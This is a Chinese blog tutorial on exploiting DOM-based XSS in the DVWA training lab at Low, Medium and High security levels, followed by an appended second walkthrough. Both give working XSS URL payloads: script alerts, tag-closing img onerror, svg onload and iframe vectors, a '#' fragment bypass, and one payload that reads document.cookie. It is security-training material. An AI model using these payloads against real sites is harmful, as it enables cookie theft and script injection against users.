DVWA DOM型XSS

博客介绍了DVWA上DOM型XSS与反射型和存储型XSS的不同,其需在URL上实施攻击。分别阐述了Low、Medium、High三个级别的攻击方式,如Low级别无防护可直接输入URL;Medium级别可构造URL绕过检查机制;High级别可用#注释符绕过检测。

前言

DVWA上的DOM型XSS与反射型和存储型XSS不同,页面上是没有输入的,所以要直接在URL上实施攻击


一、Low

low级别的代码什么防护都没有,因此直接输入URL:http://192.168.44.1/DVWA/vulnerabilities/xss_d/?default=<script>alert('xss')</script>

在这里插入图片描述

二、Medium

Medium级别的代码增加了检查机制,如果输入当中有“<script”就把default设为English阻止XSS注入。但我们可以通过插入其它语句来达到我们的目的。在这里插入图片描述
我们可以构造URL:
http://127.0.0.1/vulnerabilities/xss_d/?default= ></option></select><img src=1 οnerrοr=alert('xss')>
先闭合option再闭合select

在这里插入图片描述
如果页面上显示的是一张失败的图片但没有弹窗的话可以更换URL
http://127.0.0.1/vulnerabilities/xss_d/?default= ></option></select><svg/onload=alert(1)>或者
http://127.0.0.1/vulnerabilities/xss_d/?default= ></option></select><iframe src="javascript:alert(1)"></iframe>

在这里插入图片描述
查看页面源代码可以看到我们的代码已经插入进去了,闭合了select标签后执行在这里插入图片描述

三、High

High级别的代码用了一个switch表使我们只能提交规定的内容,但是#注释符可以让服务器端无视#后面的代码从而绕过检测。构造URL:http://192.168.44.1/DVWA/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>
这样这段代码就是写在本地的,每次在下方重新选择language后都会触发这个XSS。而且这段代码不会像low和high一样保存在页面源代码里。

在这里插入图片描述
在这里插入图片描述

### DVWA DOM-based XSS 实验教程 #### 安全设置级别:Low 在低安全级别的配置下,DVWADOM XSS 漏洞非常容易被利用。页面会直接将用户的输入通过 URL 参数传递并立即显示出来。 当访问如下链接时: ```plaintext http://localhost/DVWA/vulnerabilities/xss_d/?default=<script>alert('XSS')</script># ``` 浏览器会在不经过服务器端处理的情况下执行 JavaScript 代码,弹出警告框[^1]。 #### 安全设置级别:Medium 中等级别的防护措施会对特殊字符进行一定程度上的转义,但仍存在绕过方法。攻击者可以尝试使用不同的编码方式来规避检测机制。 例如下面这个请求可能会成功触发漏洞: ```plaintext http://localhost/DVWA/vulnerabilities/xss_d/?default=%27%3E%3Cimg%20src=x%20onerror=alert(1)%3E ``` 这段代码创建了一个带有 `onerror` 事件处理器的 img 标签,在加载失败时触发 alert 函数调用。 #### 安全设置级别:High 高级别保护通常采用更严格的过滤规则以及上下文敏感的输出编码技术。尽管如此,某些复杂的 payload 可能仍然能够找到突破口。 一种可能的方式是利用 HTML 注释标记包裹恶意脚本: ```plaintext http://localhost/DVWA/vulnerabilities/xss_d/?default=<!--%20--%3E%3Csvg/onload=prompt(document.cookie)// --> ``` 此 Payload 使用了注释标签闭合前面未完成的属性定义,并紧接着插入可执行的内容。 #### 安全设置级别:Impossible 在这个最高难度模式下,应用程序实现了充分的安全防御策略,包括但不限于严格验证用户输入、防止任何潜在危险的数据进入渲染流程等手段。因此,在这种环境下几乎不可能实现成功的 DOM 基础的跨站点脚本注入攻击。 为了有效预防此类攻击的发生,开发者应当始终遵循最佳实践原则,比如对所有来自客户端的信息都做适当清理和消毒;同时也要注意区分可信源与不可信源之间的差异对待。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值